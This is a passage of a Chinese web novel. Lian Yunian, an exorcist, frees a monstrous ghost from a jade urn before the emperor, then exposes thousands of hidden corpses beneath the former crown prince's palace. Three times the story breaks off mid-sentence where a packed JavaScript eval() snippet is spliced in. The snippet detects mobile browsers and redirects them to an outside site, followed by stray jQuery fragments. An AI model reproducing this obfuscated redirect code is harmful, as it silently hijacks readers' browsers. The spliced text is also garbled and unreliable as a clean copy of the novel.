连雨年为他上过药,记得他曾因疼痛和惧怕痛哭失声的样子,更记得他为祝贵妃端上鸩酒时眼底令人胆寒的冷光。 原来已经过去这么久了。 择青行至近前,看到连雨年明艳到锋利的面容时稍稍一愕,旋即微笑着福身:“问丹先生好。陛下与诸位大人已在御书房内等候多时,请先生随奴婢进去吧。” 连雨年掩去眸间几不可见的恍神之色,淡然回礼:“公公客气。有劳公公带路。” 两人一前一后进入御书房,阔气而精致的殿宇间灯光重重,将雨天的阴湿气阻隔在外,却也自成一方威严冷肃的天地,饶是连雨年见过多次,也不由得放轻了呼吸。 走到殿中,坐于右侧的三位大人皆是他熟悉的面孔——兵部尚书陈安、刑部尚书许鉴、暗卫首领白歌庭,无一不是新帝夺嫡时的心腹。 至于屏风后那道端正谨肃的身影,不用说他也知道是谁。 连雨年垂下眼帘,正要行长揖拜礼,突然有一缕寒意顺着他的背脊爬上,让他眉睫一颤。眼神则似被磁铁吸引,不受控制地看向御书房左侧。 那里用黑布盖着一样水缸形状的物品。 连雨年的目光落上去的刹那,瞳孔微缩。 见他久久不行礼,三位大臣皱了皱眉,择青则忙以咳嗽提醒。 连雨年却仍然没有动作,盯着那物件慢慢蹙起眉头,眼神也从诧异转向了然,再变得深若寒渊。 许鉴有些不满,觉得这人是故意表现得与其他方士不同,虚张声势浪费时间,正要拍椅子扶手,就见屏风后的君主摆了摆手。 他猛地闭紧嘴巴,却又忍不住不解地皱眉,转头看向身边的同僚。 然而陈安与白歌庭并不搭理他,都在看着那姓丹的异士,脸上既有不安也有期待,身体不自觉地前倾,关注其一举一动。 他们这是怎么了? 许鉴凝神打量连雨年,终于发觉了他反应有异——他怎么一直盯着盖住玄玉瓮的黑布被风吹起的下摆? 他心中疑惑,但在看清连雨年凝视那一物件的目光包含着什么情绪后,顿时起了一身鸡皮疙瘩。 从四面八方投来的视线含义各异,连雨年没有理会,兀自紧盯那片随风舒卷摆动的布片。 在常人眼里,布片的飘卷是因为风吹,但在他眼中,却是因为黑布里探出了四根手指,正抓住布料左右晃动。 那手指苍白如刷漆,瘦削细长,俨然是一只……鬼爪。 “呼……” 潮湿的雨前风吹入御书房门窗,靠墙摆放的烛台轻轻摇晃,青铜罄亦微微摆动,发出空幽悦耳的轻响。 但除去这些,连雨年还听到了其他人听不见的声音——一道飘飘渺渺如云如雾,带着泣诉意韵的哼唱声。 听上去像是……男人的声音? “帝京东边的山上,有一座云湖……” “湖里摇啊摇着小船……” “它用腿骨做桨,它用头骨点灯,它慢慢划去湖对岸,把我腐烂的身躯砍……” 又轻又低的吟唱不断回荡在耳边,连雨年压了压长眉,后背一片一片冒着鸡皮疙瘩和冷汗,抿起的嘴唇用力到发白。 他深吸一口气,快速压下本能的恐惧,低声道:“劳烦择青公公取一把剑来。长三尺三寸为最佳,必须要桃木制的。” 择青一怔,下意识看向上首,见屏风上的人影点点头,方垂首退出去。 没过多久,择青捧着一把新制的桃木剑进来,双手递给连雨年。 他握住剑柄挽了个剑花,勾了勾嘴角,微微笑道:“请陛下让近卫进来护驾。” 闻言,许鉴三人猛然一下站起身,不约而同地扑挡到屏风前。暗卫首领白歌庭还朝暗处说了声什么,于是靠近陛下的角落里又多出几道阴影。 陛下没有出声,只是摆摆手,择青便忙不迭高呼护驾。 两列近卫快步入内,将御书房四面守了个密不透风。 他们并不是听连雨年的话,只是陛下安危不容冒险。 所有人都把目光投了过去,等着连雨年给出合理的解释,或是一个戳穿他装神弄鬼把戏的机会。 连雨年却敛了心神,不理会他们,右手持剑,左手握住无锋的剑刃向上一滑,两行血线抹在刃锋上,折射出触目惊心的艳色。 血滴顺着剑锋滑落,坠地的那一秒,一股突如其来的狂风刮过御书房左右,吹得钟罄交击刀剑鸣响,同时吹落了盖在玄玉瓮上的黑布。 粗糙的木盖表面忽的浮起几不可察的亮光,犹如笔墨纵横,勾勒成仅连雨年一人可见的纹样。 那是一个上古文字——人皇钦赐的“镇”字敕令。 坏了! 连雨年脸色一变,未及补救,盖子上的纹路就因为他这一剑黯淡下去,旋即轰然一声炸碎。黑洞洞的瓮口中溢出浓烈到几乎可以堵塞气管的恶臭,众人猝不及防下被熏个正着,干呕声此起彼伏。 而在他们看不见的视野里,一头身长将近五米的怪物从瓮中站起,下身是一股连进瓮底的云雾,上身却像由无数残肢肉块拼凑成的血肉小山,腐烂的肉块微微蠕动,发出黏腻恶心的声音,表面错落密布着凹痕和凸/起,像呼吸一般上下涌动,从血肉堆叠的罅隙褶痕里推挤出黏稠的肉糜恶血,啪嗒啪嗒地掉落在地。 密密麻麻的眼睛镶嵌在这怪物巨大身躯的每一个角落,所有眼睛皆瞪大到极致,浓黑的眼球在满是红血丝的眼眶肉里快速震颤转动,血泪盈眶,顺着眼头眼尾滑落。 姑且算是怪物腹部的位置张开一张巨口,尖利的牙齿如同一条条苍白蛆虫,在其中密集而剧烈地扭动,极其凄厉的尖啸从中传出,化为了吹彻御书房的狂风。 连雨年脸部肌肉微微一抽,不需要强大气场,也无需精神污染,光是看着这样一头诡怖悚然的怪物,发自本能的恐惧就令他浑身发凉,迟钝麻痛的感觉仿佛游蛇,顺着脚掌向上攀爬,转眼间遍及四肢百骸,使得他的感官与反应双双变得迟钝。 但他很快惊醒过来,用力咬了下舌尖,剧痛使他可以保持神智清醒,并抓住机会反手握剑冲向玉瓮,剑锋在掌心一旋,化作一道弯月圆弧,直直砍向怪物身下与玉瓮连接的部分。 众人只看见沾了他血的桃木剑划过玉瓮上方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233750|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空气,时间也似在此静止一瞬。 下一刻,刺耳的玻璃破碎声连绵不绝地响起,连成一线,扎得众人耳膜刺痛。 同一时间,他们看见了足以铭记一生的“盛况”—— 沿桃木剑砍过的位置往上,空间像摔落在地的铜镜般快速扩出层叠细密的裂痕,进而炸碎出一个巨大的空洞,如同打破了两个世界间的屏障,露出一道狰狞丑陋的身影。 世界外的空洞里,怪物张牙舞爪,凄厉咆哮,席卷四周的风变成了人耳可以接收的恐怖长啸,身上滴落的腐臭血肉掉进了现实一侧,将青砖地板腐蚀出滋滋轻响,飞快凹陷的坑洞里冒着青烟。 它从虚空坠入人间,声动云霄。 “轰隆”一声惊雷炸响,滂沱暴雨应时而至。 …… 天子寝宫侧殿,连雨年意态沉静地坐在窗边,从不住哆嗦的内侍手中接过绷带与伤药,给掌心两道伤口细细抹上、包扎,满脸都是司空见惯的平静。 成为丹澧的这三个月,连雨年见多了死状凄惨的厉鬼,那怪物虽然面目可怖,对他而言除了体型太大,其他的却也不算什么。 久远以前,丹家传人皆有特殊的通幽体质,能见鬼杀鬼,也能用自己的血液将常人不可视不可碰的鬼魂短暂拉到人世,使普通人可以看见、攻击、杀死它们。 真正的丹澧原本没有这种体质,但连雨年穿过来后莫名就有了,这事儿一直令他费解。 玄玉瓮中的鬼已经被天子近卫与暗卫杀掉,鬼死为魙,那庞然躯壳正在快速化为云烟消散,他们再无转世机会。 实在是有伤天和。 今日是事出紧急,往后不可再做这样的事。 连雨年在心里这样告诫自己。 包扎完毕,连雨年正要起来活动一下,择青却匆匆进来,无比尊敬地躬身道:“丹先生,陛下请您过去一叙。” “……” 连雨年顿了顿,缓缓站起,随择青走出侧殿。 天子寝殿内点了很厚的宁神香,云遮雾绕,黏稠沉重。 凡事过犹不及,安神的熏香点多了也很伤身,连雨年几不可察地皱了皱眉,随即若无其事地转过屏风,一抬眼,竟毫无防备地看见了倚在榻上的男人。 瞬息光阴远,顷刻拉长,顷刻缩短,将十四年岁月与三载别离揉得光影错乱,笼罩在那张变得陌生的脸庞上。 连雨年从未想过,有朝一日,自己再见故人时,心底涌上的竟会是这种凄厉尖锐不可名状的感受。 年轻的帝王坐在时光罅隙里,身后窗格渗入细密如水的天光,将他长得宽阔沉稳的体态勾勒清晰。 他褪去朝服与冕旒,一头青丝随意散在肩上,发色水亮乌黑,顺着玄色丝缎寝衣流泻,垂至腰间。 他靠在榻上小几旁支颌小憩,听见响动后睁眼望来,长眉入鬓,凤目点漆,自有帝王不怒自威的气势。但披在肩头的浅杏色长衣却又为他添了几分慵懒矜贵,虽然气质温恬依旧,却早已不似旧时那位文士风流,气质高华的九皇子。 三年啊,真是岁月如梭。 连雨年一时忘了礼数,上下打量着脱离了自己记忆的天子,看着看着,注意力却移到了其他地方,莫名觉得他身上披着的那件长衣有些眼熟。 ——无论是袖口不小心被勾出的细丝,或是衣领上绣得歪扭的桃花,都熟悉到让他开始怀疑自己是不是在做梦。 那不是他生前……不不,小临安王生前最常穿的寝衣外袍吗?! 5. 五 说起这件衣物,还有个故事。 临安王武将出身,人高马大,生的几个孩子也随了他的基因,一过十五岁便开始疯长。连雨年与沈青池不过一岁之差,却高出他整整一个头,体态端雅清素,如玉如竹,无论走到哪儿都是鹤立鸡群,比他更像个养尊处优的皇子。 由于抽条得太快,连雨年那时一季要换两次衣物,因着九皇子不受重视,偶尔会碰上制衣局不尽心的时候,偏偏他又不能穿不合身的衣服丢了皇家颜面,每到这时,他就只好让侍从把衣服拿到宫外改改,将就着穿。 这件衣服却是个例外。 某次沈青池犯错受罚,连雨年身为伴读,也得陪着关禁闭。 彼时百无聊赖,他便拿了不合身的衣物自行拆改,打发时间,衣襟上的桃花正是他亲手所绣,还被沈青池昧着良心夸了句心灵手巧。 这花当时看就觉得丑,现在看…… 越发丑得扎眼。 连雨年一撇嘴,不着痕迹地藏起表情中的嫌弃,却没有察觉自己盯着陛下出了神。 自登基以来,沈青池很久没再被人如此放肆地观察扫视过。但奇怪的是,他也并不排斥。 顺着连雨年的视线垂眸看了眼身上的衣裳,又将他神色间的微妙变化尽收眼底,沈青池眯了眯眼,心下疑窦陡生,面上倒是不露半分。 扯了扯衣襟,他有意无意地摩挲着领口的桃花纹,微微一笑:“丹先生,这是你第二次见朕不拜了。” 闻言,连雨年倏地回神,为他语气中的凛凛寒意所感,突然感觉陛下披着“小临安王”旧衣的事也不怎么值得惊讶了,顿了顿,缓缓躬身。 但就在他拜下的那一刹那,沈青池忽然心痛如绞,眉心用力蹙起,想也没想便伸手虚托住他的手臂。 二人同时一愣,隔着三步距离僵持不动——连雨年是搞不清状况不便贸然行事,沈青池则说不上来究竟是为何。 半晌,城府如渊的天子率先收拾好情绪,慢慢收回手,倚在小几边沿,不着痕迹地揉了揉心口。 那里仍在没来由地钝痛,令他看着连雨年的眼神越发幽深。 “罢了,念在丹先生有功,朕不计较你的两次失礼。”沈青池淡淡一笑,“那玄玉瓮与瓮中的……东西,到底是什么?” 听他问起正事,连雨年心下一松,虽然仍被疑惑纠缠,但正想先把要紧事解决,就听见他又说:“来人,赐座。” 有侍从循声进来,为连雨年搬了张低矮的坐几。他斜了一眼那小凳子,平静道谢后落座,视线正好对着陛下胸口——那枝从领口延下一节的歪斜桃花。 连雨年没有多想,看着沈青池的双眼解释:“回陛下,此怪物是一种无名厉鬼,常出现于战场之类有无数人死亡的地方,由他们的冤魂与怨煞所化。死的人越多,诞生的这类鬼怪体型便越庞大、扭曲、丑陋,因每只厉鬼形体不同,实力不一,表现迥异,故无法归类取名,只能以无名称之。” “至于封印它的玄玉瓮……玉瓮本身无甚出奇,真正起到镇压作用的是那块薄木板。陛下不知,那木板上原本刻着上古人皇敕令,是个‘封’字,用以镇压怪戾凶物。只不过单字敕令力量单薄,难以将之久困,今日……嗯,也是巧了。” 人皇敕令出自神话时代的人皇圣旨,由于保存不善,残存至今只剩孤字,散落在大江南北,几乎都处于明珠蒙尘的境地。 它们的作用与丹家传承内的术法相同,只是力量源头不一样。丹家术法借的是天地之力,天道之法,而人皇敕令借用的是人族的气运,用来对付凡世之外的异物。 连雨年摸摸鼻尖,绝口不提自己不小心抹掉了敕令的事。 撒谎。 沈青池心头冷不防冒出这两个字,没来由的、无意识的,就好像被他摸鼻尖的动作勾起了什么预判本能,心湖上风波起落,转瞬而过,快得没等他想明白缘由,就已彻底平息。 他定定看着连雨年少顷,问道:“朕观那怪物体长近五米,形貌可怖,照先生所言,要死多少人才能使其长至如此巨大?” 连雨年垂眸默算,脸色渐渐冷冽:“恐有数万。” 沈青池笑了。 他倚着榻上小几轻笑,笑声清凛顿挫,像极了决定夺嫡那夜,他饮了两壶酒,醉倒在连雨年腿上问他是否愿意相随,在看到他迟疑不答的瞬间褪去所有醉意,对他露出的那抹浅笑。 那是他们唯一一次离心,也是沈青池第一次那样笑。 “数万,数万啊……” 帝王讥诮的重复话语惊醒了沉浸在回忆中的连雨年,他垂下眼,听他用沉郁顿挫的语调说道:“那只玉瓮……朕初见它是在五年前。先太子入主东宫第二年,突然对那里许多陈列摆件十分不喜,命人换了一批,玄玉瓮就在其中,一直置于他的侧殿。” 连雨年垂首,忽见身前的衣摆一动,沈青池弯腰凑至近前,故作温和,却仍是极具侵略感的视线勾着他不由自主地抬眸,望进帝王清幽冷寂,恍如日光斜洒的深潭般的眼波。 “先生的意思是,先太子所住之东宫底下,正埋葬着数万枯骨?” “朕那好兄长敢冒天下之大不韪,敢在朕的父皇眼下,在这处处是眼线的帝都最扎眼处,屠杀了数万人?” “而我盛朝国都之内,上至天子,下至百姓,都眼瞎耳聋,被蒙了心窍,任他行恶作孽,却无一人知晓?就连他的部署也都是丧心病狂之辈,到他倒台那日情愿被株连九族,也不肯说出此事将功补过?” 一句比一句凛然深刻的质问从天子口中吐出,越是轻描淡写,就越威势深重。 连雨年却不为所动,迎着他的目光从容答道:“是,但也不是。” 沈青池直起身,慵懒地靠回软垫,身上出鞘一瞬的锋芒被掩进烟云重锁的深沉:“说得明白点,朕不喜欢听人打哑谜。” 他退开,连雨年也垂下眼帘:“草民方才动手之前,陛下也看不到那只怪物。先太子能将它藏起,自然也能藏起这些枯骨。” 沈青池回忆起他那仿佛让空间碎裂的一剑,颔首:“倘若先太子切实掌握了那般藏匿之法,倒不是不可能瞒过外人。” 连雨年继续说道:“至于先太子如何瞒过多数手下与身边人……陛下,凡间事凡间断,非凡间事,凡人却是无法插手的,想要蒙蔽他们并不困难。您只剪除了先太子那些普通部下,他们或许真的对此事一无所知,真正知晓它们的人,在妖蛊教,在您尚未履及之地。” 沈青池略做思忖:“倘若那只怪物当真是妖蛊教以非凡之法喂养而出,理当颇为噬杀,一经放出,必使皇宫内外血流成河。可玄玉瓮入宫以来,虽有人因其而死,数量不过寥寥,这却是为何?” 连雨年一下被问住了,丹家传书里只粗略记了下这种怪物的存在,习性和解决方法一概没有,陛下问他,他去问谁? 但上有惑,下不可不解,连雨年认真分析了一会儿,硬着头皮给出解题思路:“许是因为木盖上的人皇敕令吧。敕令孤字难支,力有未逮,但并非全然无用,总能拦它一二。” 沈青池沉吟片刻,淡淡地“嗯”了一声:“此事怪谲,世所难容,想让朕相信你,你需要证明你的猜测——找到这数万人的尸骨,如果他们真的存在。” 连雨年问道:“陛下确认这只玉瓮一直放在东宫偏殿?” 沈青池点头:“第一次见是在那儿,前几日朕命人打开东宫,清点先太子余下财产入库时,它也在那儿,而且初次打开瓮上木盖的那批内侍均已死亡,死状……一如先前的术士。” 若非如此,承天受命的帝王绝不会在祖庙以外的地方怪力乱神。 连雨年起身,袖摆漫卷飘垂,掩他一截利落优美的腰线:“那草民请开东宫,让我入内一观。” “准。” “谢……陛下?” 连雨年一个“谢”字还没说完,就见上首的天子拢衣站起,从自己身边走过,带起一阵扫过鬓角的风。 他条件反射地快走几步跟上,沈青池又忽然止步转身,差点让他停步不及,撞个满怀。 沈青池上下打量他一番,微微一笑,像极了当年的少年文士,却使人辨不清喜怒:“丹澧先生出身草莽,朕理解你不识礼节,但也不能时时如此。” 连雨年一怔,旋即挑眉。 他?一个三岁就进宫,自幼在宫里长大的人不识礼节? 是行礼时躬身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233751|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅度不够?还是说话时语气不够恭敬? 连雨年压下反驳的冲动,回想一路过来的经历,除去两次因为震惊忘记行礼外,他还做了什么失礼的事吗? 正在他头脑风暴的时候,沈青池冷不丁走近半步,两人身高相当,目光也就这么直挺挺地撞上。 他笑了笑,眉眼温柔地舒展,如画如词:“下次回话,不可直视朕。” “……” 连雨年张了张嘴,在望见沈青池眼底的冷意后,鸦青色的眼睫慢慢垂落,如同雨后山雾四合,遮蔽青屏。 “……是。” 年少受宠的伴读当然可以直视无底线地纵容自己的九皇子。 但他已经不是小临安王,面前人自登基那天起,也不再是无论在哪儿用膳,都会习惯性把饭食分他一半的九殿下。 用十四年养成的惯性和任性,他必须改掉了。 得到满意回答,沈青池转身接着走,才只迈出一步,左胸缠绵不去的闷钝痛楚便猛烈加剧,像燎原的火焰吞没了他的心脏。 但他只是顿了顿,便神色如常地离去。 那日过后,这点疼痛于他而言,确实只是寻常。 …… 暗卫与皇城禁军将整座东宫包围得密不透风,沈青池在近卫的保护下走入偏殿前的庭院,立身于萧索秋风中。 偏殿是东宫女眷的住处,而东宫自先太子被赐死后便封宫至今,没有人气,无人打理,满庭都是飞灰落叶,金殿蒙尘。 但除此之外,沈青池感受不到任何阴冷死气,只觉得负责设计建造东宫的那批人能力了得,哪怕他已经坐拥天下,住进辉煌繁美的皇宫,也不禁为这里的精巧绝伦而心生赞叹。 “丹澧先生,请吧。” 沈青池坐在侍从搬来的软椅上,托腮看向宫门,头也不回地摆了摆手。 连雨年从他身后走出,仰头环顾面前的殿宇,晦暗天光从刚落过雨的云层边沿渗漏而下,打在他昳丽却冰冷的面容上,恍若冰雪里开出的重瓣牡丹。 他的眼底映出碧瓦飞甍、雕梁画栋,也映出笼罩在偏殿顶上黑沉沉的浓雾。雾气中伸出数条宛如实质的黑铁锁链穿插/进宫殿各处,绷紧笔直,锈迹斑斑,表面腾起腥臭的血气。 锁链的每一处落点都是一个房间,它们原本属于先太子的六名妻妾。 伸进太子妃居所的那条最为粗厚,也和其他锁链最为不同——它一直在剧烈颤抖,相互扣合的铁环碰撞出声声脆响,偶尔又会发出如同在磨刀石上打磨钝绣的刀剑那般令人牙酸的声音。 “丹先生看出什么了?” 沈青池温润的嗓音悠悠传来,连雨年微微偏头,用余光隐晦地扫他一眼,方回身垂头应答:“陛下,请开先太子女眷居所。” 沈青池抬手,两队禁军立即上前,在外面把六间院子的门窗全部打开。 “先生可还需桃木剑?”择青上前问道,身后的小内侍立马端上三柄新制的剑,比之前那把做得更加用心细致。 天子近侍,总是特别有眼力见。 连雨年拱手道谢,随意拿起一把,又问一名近卫借来匕首,想了想,在剑刃两面分别刻上一句话。 择青站得近,看见了他刻的字,却不认得那是什么字,便归于是丹家传承,低头没有多看。 连雨年也不解释,握住剑刃默念前身背诵的经文,昔时他念来寻常普通的字句,此刻却引动冥冥之力,影响天地,带来一阵又一阵清冷恬静的风,和风里若有似无的幽清吟唱。 仿佛天道之音,声如钟罄。 又似海妖歌谣,诡若凄风。 清风吹彻整座东宫,卷起众人的发丝、衣摆,吹起又抚平他们的疑惑。 上古时期,人与鬼神共存的年代,有圣人布道天下,道音落处,声声催开莲花。 沈青池闭上眼睛,在这阵风中得到了久违的心灵宁静,脑中心中诸多杂念被寸寸抹去,于是许多隐藏极深的心念便自然而然地水落石出,高耸凹陷,交错纵横,摊在面前的明晰如海上明月,匿于心底者则晦暗似沉渊。 皆已了然。 他心思晦深,波澜不惊,静静地想——幸好丹家只剩这一人。 6. 六 脑海中转过无数危险的想法,沈青池望着身前人的背影,却只是不紧不慢地转动右手拇指上的扳指,心绪半点不露,甚至露出了些许笑意,却令近旁之人胆战心惊。 连雨年对此则丝毫不觉,像解决乡野异事那般熟练地掏出降妖伏魔设定,张开双臂,运使体内自然流转的无形无质之力。 桃木剑竖立在他身前,剑刃周身震开半暗半显的透明漩涡,催动其缓慢旋转,又如涟漪般层层荡漾,点滴渗入偏殿。 斜过半空的锁链被涟漪震断,荡碎为漫天黑絮,消散于风中。 丹家是上古巫族世家,传承至今,丹澧已经是最后一名族人,也早已失去沟通天地鬼神的能力。 或许是因为灵魂有异,连雨年借尸还魂后,竟误打误撞得到了丹家人苦求不得的降鬼之法,让家中传书记载的经文符箓不再是空谈,而有了力量支撑,能够用在正途。 他在丹桂乡的无数传说,皆由这份能力而起。如今,他又带着丹家人的身份,丹家应有的力量来到皇城,为人皇寻尸诛鬼,扫除障碍——几乎与上古丹家先人所做的无异。 丹家人的工让他来打,得,果然天底下没有白吃的午餐,天上就算掉馅饼,从平流层落下若是没有气化,绝对能把他的头砸进肚子里去。 连雨年叹了口气,带着淡淡的班味和死感掐指结印。 清澈而浩瀚的无形之力自天地间来,借由他的手导向桃木剑,进入人间。 风中的歌谣激昂一瞬,于是清冷的风也转烈转狂,刮得众人坐不定站不稳,令偏殿的门窗反复开合,嘭啪作响,整座殿宇好似摇摇欲坠。 禁军与近卫们以剑拄地,才勉强撑住,不被风吹得到处乱晃。 沈青池身体不动,右手抓着座椅扶手,手背上青筋根根暴起。 下一刻,风止歌息,取而代之的是连成一片的清脆碎裂音,仿佛有成千上万面镜子在这瞬间同时砸碎。 连雨年睁开眼,和沈青池、周遭所有人一并抬头望去。 金碧辉煌的偏殿有如水中倒影,倒映它的水面被风吹皱吹乱,它的倒影便随之变形扭曲,最终像受压到极致的玻璃器具,砰然破裂。 无数碎片如山洪一样自半空坠落,洋洋洒洒,看得人胆战心惊,似乎下一秒就会听到震耳欲聋的砸地声。 但碎片还未触地就已化作流光飞散,它们的剥落,只是为了暴露偏殿真正的模样。 亭台楼阁仍是旧貌,屋舍廊桥间却有黑烟浓雾蒸腾而出,袅袅升空,宛若失火刚熄的废墟。 连雨年握住桃木剑,点了点那几个烟雾最浓的位置,平静道:“有劳诸位将这几处地方挖开——挖的时候带上这柄剑。” 说着,他将剑递与禁军统领,对面还在看着偏殿发愣,好一会儿才赶忙伸手接过。 桃木剑交接,让沈青池也看到了刃面上的字,他好奇问道:“这是丹家传承下来的上古文字?” 不,那是我故乡的文字。 连雨年眉毛也不动一下,回答:“是。” 沈青池敏锐觉察到他语气有异,正想询问,却听见殿内传出一声惊呼。 他停下询问,并且在接下来的时间里再也没有想起要问。 禁军在偏殿内进进出出,搬出一具具残缺不全的尸骨,他们从最开始的惊愕震怒到此刻的麻木,总共用了三个时辰。 沈青池攥着茶杯,手指用力得好似要嵌进薄玉璧里,脸色铁青。 至于连雨年,他早就料想到会有如此状况,保持了一贯的淡定。 “……搬完了?” 又过去半个时辰,见禁军将士们空手出来,沈青池才松了松手上力道。 禁军统领抱拳回答:“回陛下,从丹先生指的那几处地方挖出来的已经搬完了,总计……两万一千余具尸骨,另有残缺得十分厉害的百余具。至于偏殿其他所在……臣这就命人将偏殿全部挖一遍!” “不止是偏殿。”沈青池冷声道,“给朕把整座东宫掘地三尺,漏了一具,朕唯你是问!” “是!” 统领高声应完,带着满心愤慨怒火继续投入工作。 择青为沈青池换了盏热茶,连带着连雨年也得了一杯,劝慰道:“陛下宽心,有丹先生与诸位大人相助,定能为这许多无辜丧命的冤魂讨一个公道。更何况他们死得悄无声息,又这样凄惨,如今得见天日,有了申冤机会,是好事才对。” 连雨年饮茶,不着痕迹地瞥他——还是这么会说话。 许是择青的宽慰起了作用,沈青池的表情好看了一些,看着面前这大片如垂天之云般的尸骨良久,不忍地别过眼去。 他生来便是天潢贵胄,最落魄时都未曾想过有朝一日会看到如此残酷的场景,纵然帝王心术学到了十二分,那点没有被磨尽的人性依旧会使他为眼前所见而生出悲苦。 “丹先生,他们……” 连雨年知道他想说什么,冷静沉淡之色稍褪,叹息道:“人死为鬼,鬼死为魙,若是成了后者,很快就会消失于天地间。他们的魂魄被人为融合成先前那头怪物,又被杀死,要不了多久就会彻底烟消云散,陛下倘若心怀不忍,便寻出罪魁祸首,替他们报仇偿恨吧。” “……” 沈青池闭了闭眼,再睁开,眼底已是一片沉静。 天色已然暗了下来,夜幕与黄昏的交界处划开一线融金光带,温柔照着人间的蝇营狗苟。 蓦的,偏殿内传出一阵骚动,此起彼伏的惊呼和叫喊凌乱吵闹,听不清内容,脚步声混杂在忽然腾起的烟尘里,仿佛刚下过雨的山野泥路,黄泥浑水流淌蠕动,揉成黏糊杂乱的一团。 连雨年本就担心内里会出现特殊状况,听见这番动静,身形一动就掠了进去,甚至等不及沈青池下令。 陛下抬了下手,未能拦住他,各种情绪在心头转了一圈,话语出口仍然语调平静:“舒琊,带几个人进去看看。” 近卫头领上前行礼,手臂一挥,留下自己的副手,然后领着五个身手不错的下属快跑进去。 连雨年速度很快,几个呼吸就赶到了骚乱的源头——先太子妃居所。 盛朝建筑讲究藏风聚气的小而美,东宫也不例外。 先太子妃居住的院子不甚宽广,少饰华彩,前后遍植翠竹异草,只是如今枯的枯病的病,翠竹沤黄委地,根茎如藤、五彩斑斓的奇特草木也都干枯衰朽,灰白色的死根从湿土里翻出,像风干的瘦骨,空气中洋溢着沉重闷窒的土腥味。 负责挖掘此处的一队禁军此刻退出了院子范围,纷纷拔出武器指着院门,一边因为恐惧微微发抖,一边尽忠职守严阵以待,好几个人胸口、面部都有细细的血痕,像被细窄的刀锋划破,边沿结着半干的血痂。 “发生什么事了?” 连雨年走到近前,有自己刻字的那柄桃木剑斜插在院门口,剑刃两面的刻字比之先前更加深阔修长,隐光流动。 他站在剑前,眼神从禁军们身上一一扫过,着重检查受伤那几人的伤口,确认没沾上什么不好的东西,才淡声问道。 “丹先生!”为首的禁军看了看地上的剑,向他抱拳,心有余悸道:“刚才……刚才这院子的地下突然蹿出了不知什么东西,打伤了我们几个兄弟,幸好有此剑守护,他们方捡回一条性命。” “我们寻摸不到那东西,又担心再受攻击,便想先退出来整体察……看!丹先生快看!” 仓皇的声音划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233752|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过连雨年耳畔,而在那之前,他就被一种古怪预感驱使着回头,目光直勾勾撞上了院子里翻起的异状。 布满枯死草木的土壤突然鼓起一条长长的凸痕,在地下东南西北地飞快流窜,仿佛速度极快的游蛇活藤,在地表顶出一条条隆起的土丘,宛若沙盘里纵横交错的山脉。 这一场景让他想起了不久前看到的黑色锁链,伸入先太子妃居所的那条一直颤动不止,就像拴着什么活物,莫非栓的是这个? 那东西速度快得可怕,连雨年一晃神的功夫,那条窜动的土丘便逼至他身前,做了个昂头攻击的起势。 他眼神一厉,指诀刚起,脚边的桃木剑便亮起红光,仿佛裁下一截大日的光辉,气势煌煌,径直将其挡了回去。 刃面上的繁复刻字流光溢彩,赫然是这一下反击的力量源泉。 连雨年顿了一下,指尖抚过那些熟悉的字体。 异乡文字对巫族术法居然有加持作用,这事儿他想了三年也没能想明白。 土丘止步于此,不能往前,只好往上,于是越隆越高,就像一座拔地而起的矮山,轰隆隆的巨响下天摇地晃,碎石沙砾草根碎屑沿着陡峭的坡度扑簌簌滚落,溅开扎眼的烟尘。 这一幕极其骇人,十几名禁军瞬间挡到连雨年跟前,挥出刀剑朝“山坡”用力劈砍过去。 “轰!——” 金属兵刃重重落在“矮山”前一寸位置,那里好似竖起一道空气墙,将刃锋与“山体”隔绝开来,碰撞出闷重巨响和一股巨大的反震力,把武器倒推回去,震得它们的主人向后倒飞,刀剑落地的声音与铠甲甲片摩擦撞击的响声叠加交织,尤为刺耳。 “丹先生!快走!……” 被震飞的禁军脸色紫胀,似乎受了严重的内伤,七窍同时流出血丝。 为首之人勉力撑起身,颤巍巍地抓向连雨年的衣摆,想要提醒他逃命。 但话未说完,他忽的气血上涌,眼睛一翻,和手下一起昏了过去。 连雨年有心查看他们的状况,但面前越来越高的“山坡”俨然是更加亟待解决的大事,他只得暂时按下忧心,聚力于右手拇指处,划开食指指腹。 上古巫族体魄强健,把修炼根基定为自身,因而很多传承下来的术法都以骨血为核心,动不动就要开心魂、洒血为祭,越是强横的手段,用起来就越血肉模糊。 所幸目下天地早已没有典籍中记载的那些强大存在,很多对应的术法也无需再用。 尽管他并不知晓眼前这个异状的跟脚,但观其气息只是寻常,用那几个指尖血便可驱动的术式应能对付。 